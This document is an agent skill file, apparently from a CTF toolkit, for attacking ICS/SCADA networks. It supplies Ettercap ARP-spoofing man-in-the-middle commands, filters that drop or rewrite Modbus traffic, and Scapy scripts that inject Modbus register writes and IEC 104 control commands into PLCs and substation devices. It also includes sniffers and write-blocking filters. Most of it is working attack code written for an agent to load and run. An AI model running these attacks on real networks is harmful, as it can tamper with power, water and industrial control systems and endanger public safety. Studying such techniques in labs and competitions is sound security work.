| name | ics-traffic |
| description | ICS/SCADA protocol analysis and exploitation using Ettercap MITM, Scapy packet crafting, for Modbus/TCP, IEC 104, and DNP3 protocols. Trigger: When analyzing ICS protocols, MITM attacks, Modbus, IEC 104, or DNP3.
|
| license | MIT |
| metadata | {"author":"ctf-arsenal","version":"1.0","category":"ics-scada"} |
ICS/SCADA Traffic Analysis and Exploitation
When to Use
Load this skill when:
- Analyzing Industrial Control System (ICS) or SCADA traffic
- Performing MITM attacks on ICS protocols
- Sniffing or injecting Modbus/TCP packets
- Working with IEC 60870-5-104 or DNP3 protocols
- Using Ettercap for ARP spoofing
- Crafting packets with Scapy
Prerequisites
Essential Setup
sudo sysctl -w net.ipv4.ip_forward=1
sysctl net.ipv4.ip_forward
Why? Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.
Check Network Interface
ip link show
Ettercap MITM Attacks
Basic ARP Spoofing
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
sudo ettercap -G
Target Format
| Format | Example | Description |
|---|
| Single IP | /192.168.1.100/ | Single target |
| IP range | /192.168.1.1-30/ | Range of IPs |
| CIDR notation | /192.168.1.0/24/ | Entire subnet |
| With ports | /192.168.1.100/80,443/ | Specific ports |
| MAC + IP | /00:11:22:33:44:55/192.168.1.100/ | MAC and IP |
ARP Spoofing Modes
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/
sudo ettercap -T -i eth0 -M arp
Capture Traffic to PCAP
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap
wireshark capture.pcap
tshark -r capture.pcap -Y "modbus"
Ettercap Filters
Filter Compilation
sudo etterfilter modbus_filter.etter -o modbus_filter.ef
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
Filter Syntax
if (condition) {
action;
}
if (ip.proto == TCP && tcp.dst == 502) {
msg("Modbus packet detected\n");
}
if (ip.proto == TCP && tcp.dst == 502) {
if (DATA.data + 7 == 0x03) {
msg("Read Holding Registers request\n");
}
}
if (tcp.dst == 502 && DATA.data + 7 == 0x05) {
drop();
msg("Blocked Write Single Coil\n");
}
if (tcp.dst == 502) {
replace("old_value", "new_value");
}
Example: Modbus Write Blocker
if (ip.proto == TCP && tcp.dst == 502) {
if (DATA.data + 7 == 0x05 ||
DATA.data + 7 == 0x06 ||
DATA.data + 7 == 0x0F ||
DATA.data + 7 == 0x10) {
drop();
msg("Blocked Modbus write command\n");
}
}
Common ICS Protocols and Ports
| Protocol | Port | Description | Use Case |
|---|
| Modbus/TCP | 502 | Industrial protocol | PLCs, SCADA systems |
| IEC 60870-5-104 | 2404 | Power grid control | Substation automation |
| DNP3 | 20000 | Utility SCADA | Electric/water utilities |
| OPC UA | 4840 | Industrial IoT | Modern SCADA |
| EtherNet/IP | 44818 | Rockwell automation | Allen-Bradley PLCs |
| S7comm | 102 | Siemens protocol | Siemens PLCs |
Modbus Protocol
Modbus Function Codes
| Code | Function | Type | Risk |
|---|
0x01 | Read Coils | Read | Low |
0x02 | Read Discrete Inputs | Read | Low |
0x03 | Read Holding Registers | Read | Low |
0x04 | Read Input Registers | Read | Low |
0x05 | Write Single Coil | Write | High |
0x06 | Write Single Register | Write | High |
0x0F | Write Multiple Coils | Write | High |
0x10 | Write Multiple Registers | Write | High |
Scapy Modbus Sniffer
"""Sniff Modbus/TCP traffic"""
from scapy.all import *
def modbus_callback(pkt):
"""Process Modbus packets"""
if TCP in pkt and pkt[TCP].dport == 502:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 8:
func_code = payload[7]
func_names = {
0x01: "Read Coils",
0x03: "Read Holding Registers",
0x05: "Write Single Coil",
0x06: "Write Single Register",
0x0F: "Write Multiple Coils",
0x10: "Write Multiple Registers",
}
func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")
sniff(filter="tcp port 502", prn=modbus_callback, store=0)
Scapy Modbus Injector
"""Inject Modbus/TCP packets"""
from scapy.all import *
def inject_modbus_write(target_ip, register_addr, value):
"""Inject Write Single Register command"""
transaction_id = 0x0001
protocol_id = 0x0000
length = 0x0006
unit_id = 0x01
function_code = 0x06
modbus_pdu = struct.pack(
">HHHBBB H H",
transaction_id,
protocol_id,
length,
unit_id,
function_code,
register_addr,
value
)
pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
send(pkt)
print(f"[+] Injected: Write Register {register_addr} = {value}")
inject_modbus_write("192.168.1.100", register_addr=100, value=999)
IEC 60870-5-104 Protocol
Scapy IEC 104 Sniffer
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *
def iec104_callback(pkt):
"""Process IEC 104 packets"""
if TCP in pkt and pkt[TCP].dport == 2404:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 2:
start_byte = payload[0]
if start_byte == 0x68:
apdu_len = payload[1]
print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")
sniff(filter="tcp port 2404", prn=iec104_callback, store=0)
IEC 104 Command Injection
"""Inject IEC 104 control commands"""
from scapy.all import *
def inject_iec104_command(target_ip, ioa, value):
"""Inject single command"""
start = 0x68
length = 0x0E
control_field = 0x0000
type_id = 0x2D
apdu = bytes([start, length]) + struct.pack("<H", control_field)
apdu += bytes([type_id, 0x01, 0x06, 0x00])
apdu += struct.pack("<I", ioa)
apdu += bytes([value & 0xFF])
pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
send(pkt)
print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")
DNP3 Protocol
Scapy DNP3 Sniffer
"""Sniff DNP3 traffic"""
from scapy.all import *
def dnp3_callback(pkt):
"""Process DNP3 packets"""
if TCP in pkt and pkt[TCP].dport == 20000:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")
sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)
Practical Tips
Verify MITM Success
arp -a
Restore Network After Attack
sudo arp -d 192.168.1.1
Analyze Captured Traffic
tcp.port == 502
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l
Quick Reference
| Task | Command |
|---|
| Enable IP forward | sudo sysctl -w net.ipv4.ip_forward=1 |
| Basic ARP spoof | sudo ettercap -T -i eth0 -M arp:remote /target/ /gw/ |
| Compile filter | sudo etterfilter filter.etter -o filter.ef |
| Use filter | sudo ettercap -T -i eth0 -F filter.ef -M arp:remote ... |
| Capture PCAP | sudo ettercap -T -i eth0 -M arp -w capture.pcap |
| Sniff Modbus | sudo python3 scapy_scripts/modbus_sniffer.py |
| Check ARP table | arp -a |
Bundled Resources
Scapy Scripts
scapy_scripts/modbus_sniffer.py - Modbus/TCP packet sniffer
scapy_scripts/modbus_inject.py - Inject Modbus commands
scapy_scripts/modbus_replay.py - Replay captured Modbus traffic
scapy_scripts/iec104_sniffer.py - IEC 104 packet sniffer
scapy_scripts/iec104_inject.py - IEC 104 command injection
scapy_scripts/dnp3_sniffer.py - DNP3 packet sniffer
Ettercap Filters
ettercap_filters/modbus_filter.etter - Log Modbus function codes
ettercap_filters/modbus_block_writes.etter - Block Modbus write commands
ettercap_filters/modbus_read_only.etter - Allow only read operations
ettercap_filters/iec104_filter.etter - IEC 104 packet logging
ettercap_filters/iec104_block_commands.etter - Block IEC 104 control
ettercap_filters/dnp3_block_commands.etter - Block DNP3 commands
References
references/ettercap_usage.md - Comprehensive Ettercap guide
references/modbus_quickref.md - Modbus protocol reference
references/ics_ports.md - ICS protocol port reference
Keywords
ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure